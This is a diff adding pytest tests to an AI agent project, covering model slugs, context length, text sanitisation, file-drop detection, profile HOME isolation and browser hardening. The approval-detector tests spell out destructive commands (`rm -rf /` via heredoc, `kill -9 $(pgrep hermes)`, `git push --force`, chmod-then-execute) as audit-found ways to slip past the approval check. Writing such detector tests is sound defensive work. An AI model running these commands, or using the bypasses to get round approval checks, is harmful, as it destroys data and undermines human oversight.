+                "run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")
+            ),
+            patch("run_agent.check_toolset_requirements", return_value={}),
+            patch("run_agent.OpenAI"),
+        ):
+            agent = AIAgent(
+                model="zai/glm-5.1",
+                provider="zai",
+                base_url="https://api.z.ai/api/paas/v4",
+                api_key="test-key-1234567890",
+                quiet_mode=True,
+                skip_context_files=True,
+                skip_memory=True,
+            )
+
+        assert agent.model == "glm-5.1"
+
+    def test_aiagent_keeps_aggregator_vendor_slug(self):
+        with (
+            patch(
+                "run_agent.get_tool_definitions", return_value=_make_tool_defs("web_search")
+            ),
+            patch("run_agent.check_toolset_requirements", return_value={}),
+            patch("run_agent.OpenAI"),
+        ):
+            agent = AIAgent(
+                model="anthropic/claude-sonnet-4.6",
+                provider="openrouter",
+                base_url="https://openrouter.ai/api/v1",
+                api_key="test-key-1234567890",
+                quiet_mode=True,
+                skip_context_files=True,
+                skip_memory=True,
+            )
+
+        assert agent.model == "anthropic/claude-sonnet-4.6"
+
+
 # ---------------------------------------------------------------------------
 # Helper to build mock assistant messages (API response objects)
 # ---------------------------------------------------------------------------

tests/run_agent/test_switch_model_context.py

@@ -0,0 +1,74 @@
+"""Tests that switch_model preserves config_context_length."""
+
+from unittest.mock import MagicMock, patch
+
+from run_agent import AIAgent
+from agent.context_compressor import ContextCompressor
+
+
+def _make_agent_with_compressor(config_context_length=None) -> AIAgent:
+    """Build a minimal AIAgent with a context_compressor, skipping __init__."""
+    agent = AIAgent.__new__(AIAgent)
+
+    # Primary model settings
+    agent.model = "primary-model"
+    agent.provider = "openrouter"
+    agent.base_url = "https://openrouter.ai/api/v1"
+    agent.api_key = "sk-primary"
+    agent.api_mode = "chat_completions"
+    agent.client = MagicMock()
+    agent.quiet_mode = True
+
+    # Store config_context_length for later use in switch_model
+    agent._config_context_length = config_context_length
+
+    # Context compressor with primary model values
+    compressor = ContextCompressor(
+        model="primary-model",
+        threshold_percent=0.50,
+        base_url="https://openrouter.ai/api/v1",
+        api_key="sk-primary",
+        provider="openrouter",
+        quiet_mode=True,
+        config_context_length=config_context_length,
+    )
+    agent.context_compressor = compressor
+
+    # For switch_model
+    agent._primary_runtime = {}
+
+    return agent
+
+
+@patch("agent.model_metadata.get_model_context_length", return_value=131_072)
+def test_switch_model_preserves_config_context_length(mock_ctx_len):
+    """When switching models, config_context_length should be passed to get_model_context_length."""
+    agent = _make_agent_with_compressor(config_context_length=32_768)
+
+    assert agent.context_compressor.model == "primary-model"
+    assert agent.context_compressor.context_length == 32_768  # From config override
+
+    # Switch model
+    agent.switch_model("new-model", "openrouter", api_key="sk-new", base_url="https://openrouter.ai/api/v1")
+
+    # Verify get_model_context_length was called with config_context_length
+    mock_ctx_len.assert_called_once()
+    call_kwargs = mock_ctx_len.call_args.kwargs
+    assert call_kwargs.get("config_context_length") == 32_768
+
+    # Verify compressor was updated
+    assert agent.context_compressor.model == "new-model"
+
+
+def test_switch_model_without_config_context_length():
+    """When switching models without config override, config_context_length should be None."""
+    agent = _make_agent_with_compressor(config_context_length=None)
+
+    with patch("agent.model_metadata.get_model_context_length", return_value=128_000) as mock_ctx_len:
+        # Switch model
+        agent.switch_model("new-model", "openrouter", api_key="sk-new", base_url="https://openrouter.ai/api/v1")
+
+        # Verify get_model_context_length was called with None
+        mock_ctx_len.assert_called_once()
+        call_kwargs = mock_ctx_len.call_args.kwargs
+        assert call_kwargs.get("config_context_length") is None

tests/run_agent/test_unicode_ascii_codec.py

@@ -0,0 +1,140 @@
+"""Tests for UnicodeEncodeError recovery with ASCII codec.
+
+Covers the fix for issue #6843 — systems with ASCII locale (LANG=C)
+that can't encode non-ASCII characters in API request payloads.
+"""
+
+import pytest
+
+from run_agent import (
+    _strip_non_ascii,
+    _sanitize_messages_non_ascii,
+    _sanitize_messages_surrogates,
+)
+
+
+class TestStripNonAscii:
+    """Tests for _strip_non_ascii helper."""
+
+    def test_ascii_only(self):
+        assert _strip_non_ascii("hello world") == "hello world"
+
+    def test_removes_non_ascii(self):
+        assert _strip_non_ascii("hello ⚕ world") == "hello  world"
+
+    def test_removes_emoji(self):
+        assert _strip_non_ascii("test 🤖 done") == "test  done"
+
+    def test_chinese_chars(self):
+        assert _strip_non_ascii("你好world") == "world"
+
+    def test_empty_string(self):
+        assert _strip_non_ascii("") == ""
+
+    def test_only_non_ascii(self):
+        assert _strip_non_ascii("⚕🤖") == ""
+
+
+class TestSanitizeMessagesNonAscii:
+    """Tests for _sanitize_messages_non_ascii."""
+
+    def test_no_change_ascii_only(self):
+        messages = [{"role": "user", "content": "hello"}]
+        assert _sanitize_messages_non_ascii(messages) is False
+        assert messages[0]["content"] == "hello"
+
+    def test_sanitizes_content_string(self):
+        messages = [{"role": "user", "content": "hello ⚕ world"}]
+        assert _sanitize_messages_non_ascii(messages) is True
+        assert messages[0]["content"] == "hello  world"
+
+    def test_sanitizes_content_list(self):
+        messages = [{
+            "role": "user",
+            "content": [{"type": "text", "text": "hello 🤖"}]
+        }]
+        assert _sanitize_messages_non_ascii(messages) is True
+        assert messages[0]["content"][0]["text"] == "hello "
+
+    def test_sanitizes_name_field(self):
+        messages = [{"role": "tool", "name": "⚕tool", "content": "ok"}]
+        assert _sanitize_messages_non_ascii(messages) is True
+        assert messages[0]["name"] == "tool"
+
+    def test_sanitizes_tool_calls(self):
+        messages = [{
+            "role": "assistant",
+            "content": None,
+            "tool_calls": [{
+                "id": "call_1",
+                "type": "function",
+                "function": {
+                    "name": "read_file",
+                    "arguments": '{"path": "⚕test.txt"}'
+                }
+            }]
+        }]
+        assert _sanitize_messages_non_ascii(messages) is True
+        assert messages[0]["tool_calls"][0]["function"]["arguments"] == '{"path": "test.txt"}'
+
+    def test_handles_non_dict_messages(self):
+        messages = ["not a dict", {"role": "user", "content": "hello"}]
+        assert _sanitize_messages_non_ascii(messages) is False
+
+    def test_empty_messages(self):
+        assert _sanitize_messages_non_ascii([]) is False
+
+    def test_multiple_messages(self):
+        messages = [
+            {"role": "system", "content": "⚕ System prompt"},
+            {"role": "user", "content": "Hello 你好"},
+            {"role": "assistant", "content": "Hi there!"},
+        ]
+        assert _sanitize_messages_non_ascii(messages) is True
+        assert messages[0]["content"] == " System prompt"
+        assert messages[1]["content"] == "Hello "
+        assert messages[2]["content"] == "Hi there!"
+
+
+class TestSurrogateVsAsciiSanitization:
+    """Test that surrogate and ASCII sanitization work independently."""
+
+    def test_surrogates_still_handled(self):
+        """Surrogates are caught by _sanitize_messages_surrogates, not _non_ascii."""
+        msg_with_surrogate = "test \ud800 end"
+        messages = [{"role": "user", "content": msg_with_surrogate}]
+        assert _sanitize_messages_surrogates(messages) is True
+        assert "\ud800" not in messages[0]["content"]
+        assert "\ufffd" in messages[0]["content"]
+
+    def test_surrogates_in_name_and_tool_calls_are_sanitized(self):
+        messages = [{
+            "role": "assistant",
+            "name": "bad\ud800name",
+            "content": None,
+            "tool_calls": [{
+                "id": "call_\ud800",
+                "type": "function",
+                "function": {
+                    "name": "read\ud800_file",
+                    "arguments": '{"path": "bad\ud800.txt"}'
+                }
+            }],
+        }]
+        assert _sanitize_messages_surrogates(messages) is True
+        assert "\ud800" not in messages[0]["name"]
+        assert "\ud800" not in messages[0]["tool_calls"][0]["id"]
+        assert "\ud800" not in messages[0]["tool_calls"][0]["function"]["name"]
+        assert "\ud800" not in messages[0]["tool_calls"][0]["function"]["arguments"]
+
+    def test_ascii_codec_strips_all_non_ascii(self):
+        """ASCII codec case: all non-ASCII is stripped, not replaced."""
+        messages = [{"role": "user", "content": "test ⚕🤖你好 end"}]
+        assert _sanitize_messages_non_ascii(messages) is True
+        # All non-ASCII chars removed; spaces around them collapse
+        assert messages[0]["content"] == "test  end"
+
+    def test_no_surrogates_returns_false(self):
+        """When no surrogates present, _sanitize_messages_surrogates returns False."""
+        messages = [{"role": "user", "content": "hello ⚕ world"}]
+        assert _sanitize_messages_surrogates(messages) is False

tests/test_cli_file_drop.py

@@ -0,0 +1,176 @@
+"""Tests for _detect_file_drop — file path detection that prevents
+dragged/pasted absolute paths from being mistaken for slash commands."""
+
+import os
+import tempfile
+from pathlib import Path
+
+import pytest
+
+from cli import _detect_file_drop
+
+
+# ---------------------------------------------------------------------------
+# Fixtures
+# ---------------------------------------------------------------------------
+
+@pytest.fixture()
+def tmp_image(tmp_path):
+    """Create a temporary .png file and return its path."""
+    img = tmp_path / "screenshot.png"
+    img.write_bytes(b"\x89PNG\r\n\x1a\n")  # minimal PNG header
+    return img
+
+
+@pytest.fixture()
+def tmp_text(tmp_path):
+    """Create a temporary .py file and return its path."""
+    f = tmp_path / "main.py"
+    f.write_text("print('hello')\n")
+    return f
+
+
+@pytest.fixture()
+def tmp_image_with_spaces(tmp_path):
+    """Create a file whose name contains spaces (like macOS screenshots)."""
+    img = tmp_path / "Screenshot 2026-04-01 at 7.25.32 PM.png"
+    img.write_bytes(b"\x89PNG\r\n\x1a\n")
+    return img
+
+
+# ---------------------------------------------------------------------------
+# Tests: returns None for non-file inputs
+# ---------------------------------------------------------------------------
+
+class TestNonFileInputs:
+    def test_regular_slash_command(self):
+        assert _detect_file_drop("/help") is None
+
+    def test_unknown_slash_command(self):
+        assert _detect_file_drop("/xyz") is None
+
+    def test_slash_command_with_args(self):
+        assert _detect_file_drop("/config set key value") is None
+
+    def test_empty_string(self):
+        assert _detect_file_drop("") is None
+
+    def test_non_slash_input(self):
+        assert _detect_file_drop("hello world") is None
+
+    def test_non_string_input(self):
+        assert _detect_file_drop(42) is None
+
+    def test_nonexistent_path(self):
+        assert _detect_file_drop("/nonexistent/path/to/file.png") is None
+
+    def test_directory_not_file(self, tmp_path):
+        """A directory path should not be treated as a file drop."""
+        assert _detect_file_drop(str(tmp_path)) is None
+
+
+# ---------------------------------------------------------------------------
+# Tests: image file detection
+# ---------------------------------------------------------------------------
+
+class TestImageFileDrop:
+    def test_simple_image_path(self, tmp_image):
+        result = _detect_file_drop(str(tmp_image))
+        assert result is not None
+        assert result["path"] == tmp_image
+        assert result["is_image"] is True
+        assert result["remainder"] == ""
+
+    def test_image_with_trailing_text(self, tmp_image):
+        user_input = f"{tmp_image} analyze this please"
+        result = _detect_file_drop(user_input)
+        assert result is not None
+        assert result["path"] == tmp_image
+        assert result["is_image"] is True
+        assert result["remainder"] == "analyze this please"
+
+    @pytest.mark.parametrize("ext", [".png", ".jpg", ".jpeg", ".gif", ".webp",
+                                      ".bmp", ".tiff", ".tif", ".svg", ".ico"])
+    def test_all_image_extensions(self, tmp_path, ext):
+        img = tmp_path / f"test{ext}"
+        img.write_bytes(b"fake")
+        result = _detect_file_drop(str(img))
+        assert result is not None
+        assert result["is_image"] is True
+
+    def test_uppercase_extension(self, tmp_path):
+        img = tmp_path / "photo.JPG"
+        img.write_bytes(b"fake")
+        result = _detect_file_drop(str(img))
+        assert result is not None
+        assert result["is_image"] is True
+
+
+# ---------------------------------------------------------------------------
+# Tests: non-image file detection
+# ---------------------------------------------------------------------------
+
+class TestNonImageFileDrop:
+    def test_python_file(self, tmp_text):
+        result = _detect_file_drop(str(tmp_text))
+        assert result is not None
+        assert result["path"] == tmp_text
+        assert result["is_image"] is False
+        assert result["remainder"] == ""
+
+    def test_non_image_with_trailing_text(self, tmp_text):
+        user_input = f"{tmp_text} review this code"
+        result = _detect_file_drop(user_input)
+        assert result is not None
+        assert result["is_image"] is False
+        assert result["remainder"] == "review this code"
+
+
+# ---------------------------------------------------------------------------
+# Tests: backslash-escaped spaces (macOS drag-and-drop)
+# ---------------------------------------------------------------------------
+
+class TestEscapedSpaces:
+    def test_escaped_spaces_in_path(self, tmp_image_with_spaces):
+        r"""macOS drags produce paths like /path/to/my\ file.png"""
+        escaped = str(tmp_image_with_spaces).replace(' ', '\\ ')
+        result = _detect_file_drop(escaped)
+        assert result is not None
+        assert result["path"] == tmp_image_with_spaces
+        assert result["is_image"] is True
+
+    def test_escaped_spaces_with_trailing_text(self, tmp_image_with_spaces):
+        escaped = str(tmp_image_with_spaces).replace(' ', '\\ ')
+        user_input = f"{escaped} what is this?"
+        result = _detect_file_drop(user_input)
+        assert result is not None
+        assert result["path"] == tmp_image_with_spaces
+        assert result["remainder"] == "what is this?"
+
+
+# ---------------------------------------------------------------------------
+# Tests: edge cases
+# ---------------------------------------------------------------------------
+
+class TestEdgeCases:
+    def test_path_with_no_extension(self, tmp_path):
+        f = tmp_path / "Makefile"
+        f.write_text("all:\n\techo hi\n")
+        result = _detect_file_drop(str(f))
+        assert result is not None
+        assert result["is_image"] is False
+
+    def test_path_that_looks_like_command_but_is_file(self, tmp_path):
+        """A file literally named 'help' inside a directory starting with /."""
+        f = tmp_path / "help"
+        f.write_text("not a command\n")
+        result = _detect_file_drop(str(f))
+        assert result is not None
+        assert result["is_image"] is False
+
+    def test_symlink_to_file(self, tmp_image, tmp_path):
+        link = tmp_path / "link.png"
+        link.symlink_to(tmp_image)
+        result = _detect_file_drop(str(link))
+        assert result is not None
+        assert result["is_image"] is True

tests/test_hermes_constants.py

@@ -0,0 +1,62 @@
+"""Tests for hermes_constants module."""
+
+import os
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+from hermes_constants import get_default_hermes_root
+
+
+class TestGetDefaultHermesRoot:
+    """Tests for get_default_hermes_root() — Docker/custom deployment awareness."""
+
+    def test_no_hermes_home_returns_native(self, tmp_path, monkeypatch):
+        """When HERMES_HOME is not set, returns ~/.hermes."""
+        monkeypatch.delenv("HERMES_HOME", raising=False)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        assert get_default_hermes_root() == tmp_path / ".hermes"
+
+    def test_hermes_home_is_native(self, tmp_path, monkeypatch):
+        """When HERMES_HOME = ~/.hermes, returns ~/.hermes."""
+        native = tmp_path / ".hermes"
+        native.mkdir()
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(native))
+        assert get_default_hermes_root() == native
+
+    def test_hermes_home_is_profile(self, tmp_path, monkeypatch):
+        """When HERMES_HOME is a profile under ~/.hermes, returns ~/.hermes."""
+        native = tmp_path / ".hermes"
+        profile = native / "profiles" / "coder"
+        profile.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(profile))
+        assert get_default_hermes_root() == native
+
+    def test_hermes_home_is_docker(self, tmp_path, monkeypatch):
+        """When HERMES_HOME points outside ~/.hermes (Docker), returns HERMES_HOME."""
+        docker_home = tmp_path / "opt" / "data"
+        docker_home.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(docker_home))
+        assert get_default_hermes_root() == docker_home
+
+    def test_hermes_home_is_custom_path(self, tmp_path, monkeypatch):
+        """Any HERMES_HOME outside ~/.hermes is treated as the root."""
+        custom = tmp_path / "my-hermes-data"
+        custom.mkdir()
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(custom))
+        assert get_default_hermes_root() == custom
+
+    def test_docker_profile_active(self, tmp_path, monkeypatch):
+        """When a Docker profile is active (HERMES_HOME=<root>/profiles/<name>),
+        returns the Docker root, not the profile dir."""
+        docker_root = tmp_path / "opt" / "data"
+        profile = docker_root / "profiles" / "coder"
+        profile.mkdir(parents=True)
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(profile))
+        assert get_default_hermes_root() == docker_root

tests/test_subprocess_home_isolation.py

@@ -0,0 +1,198 @@
+"""Tests for per-profile subprocess HOME isolation (#4426).
+
+Verifies that subprocesses (terminal, execute_code, background processes)
+receive a per-profile HOME directory while the Python process's own HOME
+and Path.home() remain unchanged.
+
+See: https://github.com/NousResearch/hermes-agent/issues/4426
+"""
+
+import os
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+
+# ---------------------------------------------------------------------------
+# get_subprocess_home()
+# ---------------------------------------------------------------------------
+
+class TestGetSubprocessHome:
+    """Unit tests for hermes_constants.get_subprocess_home()."""
+
+    def test_returns_none_when_hermes_home_unset(self, monkeypatch):
+        monkeypatch.delenv("HERMES_HOME", raising=False)
+        from hermes_constants import get_subprocess_home
+        assert get_subprocess_home() is None
+
+    def test_returns_none_when_home_dir_missing(self, tmp_path, monkeypatch):
+        hermes_home = tmp_path / ".hermes"
+        hermes_home.mkdir()
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+        # No home/ subdirectory created
+        from hermes_constants import get_subprocess_home
+        assert get_subprocess_home() is None
+
+    def test_returns_path_when_home_dir_exists(self, tmp_path, monkeypatch):
+        hermes_home = tmp_path / ".hermes"
+        hermes_home.mkdir()
+        profile_home = hermes_home / "home"
+        profile_home.mkdir()
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+        from hermes_constants import get_subprocess_home
+        assert get_subprocess_home() == str(profile_home)
+
+    def test_returns_profile_specific_path(self, tmp_path, monkeypatch):
+        """Named profiles get their own isolated HOME."""
+        profile_dir = tmp_path / ".hermes" / "profiles" / "coder"
+        profile_dir.mkdir(parents=True)
+        profile_home = profile_dir / "home"
+        profile_home.mkdir()
+        monkeypatch.setenv("HERMES_HOME", str(profile_dir))
+        from hermes_constants import get_subprocess_home
+        assert get_subprocess_home() == str(profile_home)
+
+    def test_two_profiles_get_different_homes(self, tmp_path, monkeypatch):
+        base = tmp_path / ".hermes" / "profiles"
+        for name in ("alpha", "beta"):
+            p = base / name
+            p.mkdir(parents=True)
+            (p / "home").mkdir()
+
+        from hermes_constants import get_subprocess_home
+
+        monkeypatch.setenv("HERMES_HOME", str(base / "alpha"))
+        home_a = get_subprocess_home()
+
+        monkeypatch.setenv("HERMES_HOME", str(base / "beta"))
+        home_b = get_subprocess_home()
+
+        assert home_a != home_b
+        assert home_a.endswith("alpha/home")
+        assert home_b.endswith("beta/home")
+
+
+# ---------------------------------------------------------------------------
+# _make_run_env() injection
+# ---------------------------------------------------------------------------
+
+class TestMakeRunEnvHomeInjection:
+    """Verify _make_run_env() injects HOME into subprocess envs."""
+
+    def test_injects_home_when_profile_home_exists(self, tmp_path, monkeypatch):
+        hermes_home = tmp_path / "hermes"
+        hermes_home.mkdir()
+        (hermes_home / "home").mkdir()
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+        monkeypatch.setenv("HOME", "/root")
+        monkeypatch.setenv("PATH", "/usr/bin:/bin")
+
+        from tools.environments.local import _make_run_env
+        result = _make_run_env({})
+
+        assert result["HOME"] == str(hermes_home / "home")
+
+    def test_no_injection_when_home_dir_missing(self, tmp_path, monkeypatch):
+        hermes_home = tmp_path / "hermes"
+        hermes_home.mkdir()
+        # No home/ subdirectory
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+        monkeypatch.setenv("HOME", "/root")
+        monkeypatch.setenv("PATH", "/usr/bin:/bin")
+
+        from tools.environments.local import _make_run_env
+        result = _make_run_env({})
+
+        assert result["HOME"] == "/root"
+
+    def test_no_injection_when_hermes_home_unset(self, monkeypatch):
+        monkeypatch.delenv("HERMES_HOME", raising=False)
+        monkeypatch.setenv("HOME", "/home/user")
+        monkeypatch.setenv("PATH", "/usr/bin:/bin")
+
+        from tools.environments.local import _make_run_env
+        result = _make_run_env({})
+
+        assert result["HOME"] == "/home/user"
+
+
+# ---------------------------------------------------------------------------
+# _sanitize_subprocess_env() injection
+# ---------------------------------------------------------------------------
+
+class TestSanitizeSubprocessEnvHomeInjection:
+    """Verify _sanitize_subprocess_env() injects HOME for background procs."""
+
+    def test_injects_home_when_profile_home_exists(self, tmp_path, monkeypatch):
+        hermes_home = tmp_path / "hermes"
+        hermes_home.mkdir()
+        (hermes_home / "home").mkdir()
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+
+        base_env = {"HOME": "/root", "PATH": "/usr/bin", "USER": "root"}
+        from tools.environments.local import _sanitize_subprocess_env
+        result = _sanitize_subprocess_env(base_env)
+
+        assert result["HOME"] == str(hermes_home / "home")
+
+    def test_no_injection_when_home_dir_missing(self, tmp_path, monkeypatch):
+        hermes_home = tmp_path / "hermes"
+        hermes_home.mkdir()
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+
+        base_env = {"HOME": "/root", "PATH": "/usr/bin"}
+        from tools.environments.local import _sanitize_subprocess_env
+        result = _sanitize_subprocess_env(base_env)
+
+        assert result["HOME"] == "/root"
+
+
+# ---------------------------------------------------------------------------
+# Profile bootstrap
+# ---------------------------------------------------------------------------
+
+class TestProfileBootstrap:
+    """Verify new profiles get a home/ subdirectory."""
+
+    def test_profile_dirs_includes_home(self):
+        from hermes_cli.profiles import _PROFILE_DIRS
+        assert "home" in _PROFILE_DIRS
+
+    def test_create_profile_bootstraps_home_dir(self, tmp_path, monkeypatch):
+        """create_profile() should create home/ inside the profile dir."""
+        home = tmp_path / ".hermes"
+        home.mkdir()
+        monkeypatch.setattr(Path, "home", lambda: tmp_path)
+        monkeypatch.setenv("HERMES_HOME", str(home))
+
+        from hermes_cli.profiles import create_profile
+        profile_dir = create_profile("testbot", no_alias=True)
+        assert (profile_dir / "home").is_dir()
+
+
+# ---------------------------------------------------------------------------
+# Python process HOME unchanged
+# ---------------------------------------------------------------------------
+
+class TestPythonProcessUnchanged:
+    """Confirm the Python process's own HOME is never modified."""
+
+    def test_path_home_unchanged_after_subprocess_home_resolved(
+        self, tmp_path, monkeypatch
+    ):
+        hermes_home = tmp_path / "hermes"
+        hermes_home.mkdir()
+        (hermes_home / "home").mkdir()
+        monkeypatch.setenv("HERMES_HOME", str(hermes_home))
+
+        original_home = os.environ.get("HOME")
+        original_path_home = str(Path.home())
+
+        from hermes_constants import get_subprocess_home
+        sub_home = get_subprocess_home()
+
+        # Subprocess home is set but Python HOME stays the same
+        assert sub_home is not None
+        assert os.environ.get("HOME") == original_home
+        assert str(Path.home()) == original_path_home

tests/tools/test_approval.py

@@ -649,3 +649,172 @@ class TestNormalizationBypass:
         assert dangerous is False
 
 
+class TestHeredocScriptExecution:
+    """Script execution via heredoc bypasses the -e/-c flag patterns.
+
+    `python3 << 'EOF'` feeds arbitrary code through stdin without any
+    flag that the original patterns check for. See security audit Test 3.
+    """
+
+    def test_python3_heredoc_detected(self):
+        # The heredoc body also contains `rm -rf /` which fires the
+        # "delete in root path" pattern first (patterns are ordered).
+        # The heredoc pattern also matches — either detection is correct.
+        cmd = "python3 << 'EOF'\nimport os; os.system('rm -rf /')\nEOF"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_python_heredoc_detected(self):
+        cmd = 'python << "PYEOF"\nprint("pwned")\nPYEOF'
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_perl_heredoc_detected(self):
+        cmd = "perl <<'END'\nsystem('whoami');\nEND"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_ruby_heredoc_detected(self):
+        cmd = "ruby <<RUBY\n`rm -rf /`\nRUBY"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_node_heredoc_detected(self):
+        cmd = "node << 'JS'\nrequire('child_process').execSync('whoami')\nJS"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_python3_dash_c_still_detected(self):
+        """Existing -c pattern must not regress."""
+        cmd = "python3 -c 'import os; os.system(\"rm -rf /\")'"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_safe_python_not_flagged(self):
+        """Plain 'python3 script.py' without heredoc or -c must stay safe."""
+        cmd = "python3 my_script.py"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is False
+
+
+class TestPgrepKillExpansion:
+    """kill -9 $(pgrep hermes) bypasses the pkill/killall name-matching
+    pattern because the command substitution is opaque to regex.
+
+    See security audit Test 7.
+    """
+
+    def test_kill_dollar_pgrep_detected(self):
+        cmd = 'kill -9 $(pgrep -f "hermes.*gateway")'
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+        assert "pgrep" in desc.lower()
+
+    def test_kill_backtick_pgrep_detected(self):
+        cmd = "kill -9 `pgrep hermes`"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_kill_dollar_pgrep_no_flags(self):
+        cmd = "kill $(pgrep gateway)"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_pkill_hermes_still_detected(self):
+        """Existing pkill pattern must not regress."""
+        cmd = "pkill -9 hermes"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_safe_kill_pid_not_flagged(self):
+        """A plain 'kill 12345' (literal PID, no expansion) must stay safe."""
+        cmd = "kill 12345"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is False
+
+
+class TestGitDestructiveOps:
+    """git reset --hard, push --force, clean -f, branch -D can destroy
+    work and rewrite shared history. Not covered by rm/chmod patterns.
+
+    See security audit Test 6.
+    """
+
+    def test_git_reset_hard_detected(self):
+        cmd = "git reset --hard HEAD~3"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+        assert "reset" in desc.lower() or "hard" in desc.lower()
+
+    def test_git_push_force_detected(self):
+        cmd = "git push --force origin main"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+        assert "force" in desc.lower()
+
+    def test_git_push_dash_f_detected(self):
+        cmd = "git push -f origin main"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_git_clean_force_detected(self):
+        cmd = "git clean -fd"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+        assert "clean" in desc.lower()
+
+    def test_git_branch_force_delete_detected(self):
+        cmd = "git branch -D feature-branch"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+    def test_safe_git_status_not_flagged(self):
+        cmd = "git status"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is False
+
+    def test_safe_git_push_not_flagged(self):
+        """Normal push without --force must not be flagged."""
+        cmd = "git push origin main"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is False
+
+    def test_git_branch_lowercase_d_also_flagged(self):
+        """git branch -d triggers approval too — IGNORECASE is global.
+
+        This is intentional: -d is safer than -D but an approval prompt
+        for branch deletion is reasonable. The user can still approve.
+        """
+        cmd = "git branch -d feature-branch"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is True
+
+
+class TestChmodExecuteCombo:
+    """chmod +x && ./ is the two-step social engineering pattern where a
+    script is first made executable then immediately run. The script
+    content may contain dangerous commands invisible to pattern matching.
+
+    See security audit Test 4.
+    """
+
+    def test_chmod_and_execute_detected(self):
+        cmd = "chmod +x /tmp/cleanup.sh && ./cleanup.sh"
+        dangerous, _, desc = detect_dangerous_command(cmd)
+        assert dangerous is True
+        assert "chmod" in desc.lower() or "execution" in desc.lower()
+
+    def test_chmod_semicolon_execute_detected(self):
+        cmd = "chmod +x script.sh; ./script.sh"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        # Semicolon variant — pattern uses && but full-string match
+        # on chmod +x should still trigger even without the && ./
+        assert dangerous is True
+
+    def test_safe_chmod_without_execute_not_flagged(self):
+        """chmod +x alone without immediate execution must not be flagged."""
+        cmd = "chmod +x script.sh"
+        dangerous, _, _ = detect_dangerous_command(cmd)
+        assert dangerous is False
+
+

tests/tools/test_browser_hardening.py

@@ -0,0 +1,271 @@
+"""Tests for browser_tool.py hardening: caching, security, thread safety, truncation."""
+
+import inspect
+import os
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+def _reset_caches():
+    """Reset all module-level caches so tests start clean."""
+    import tools.browser_tool as bt
+    bt._cached_agent_browser = None
+    bt._agent_browser_resolved = False
+    bt._cached_command_timeout = None
+    bt._command_timeout_resolved = False
+    # lru_cache for _discover_homebrew_node_dirs
+    if hasattr(bt._discover_homebrew_node_dirs, "cache_clear"):
+        bt._discover_homebrew_node_dirs.cache_clear()
+
+
+@pytest.fixture(autouse=True)
+def _clean_caches():
+    _reset_caches()
+    yield
+    _reset_caches()
+
+
+# ---------------------------------------------------------------------------
+# Dead code removal
+# ---------------------------------------------------------------------------
+
+class TestDeadCodeRemoval:
+    """Verify dead code was actually removed."""
+
+    def test_no_default_session_timeout(self):
+        import tools.browser_tool as bt
+        assert not hasattr(bt, "DEFAULT_SESSION_TIMEOUT")
+
+    def test_browser_close_schema_removed(self):
+        from tools.browser_tool import BROWSER_TOOL_SCHEMAS
+        names = [s["name"] for s in BROWSER_TOOL_SCHEMAS]
+        assert "browser_close" not in names
+
+
+# ---------------------------------------------------------------------------
+# Caching: _find_agent_browser
+# ---------------------------------------------------------------------------
+
+class TestFindAgentBrowserCache:
+
+    def test_cached_after_first_call(self):
+        import tools.browser_tool as bt
+        with patch("shutil.which", return_value="/usr/bin/agent-browser"):
+            result1 = bt._find_agent_browser()
+            result2 = bt._find_agent_browser()
+        assert result1 == result2 == "/usr/bin/agent-browser"
+        assert bt._agent_browser_resolved is True
+
+    def test_cache_cleared_by_cleanup(self):
+        import tools.browser_tool as bt
+        bt._cached_agent_browser = "/fake/path"
+        bt._agent_browser_resolved = True
+        bt.cleanup_all_browsers()
+        assert bt._agent_browser_resolved is False
+
+    def test_not_found_cached_raises_on_subsequent(self):
+        """After FileNotFoundError, subsequent calls should raise from cache."""
+        import tools.browser_tool as bt
+        from pathlib import Path
+
+        original_exists = Path.exists
+
+        def mock_exists(self):
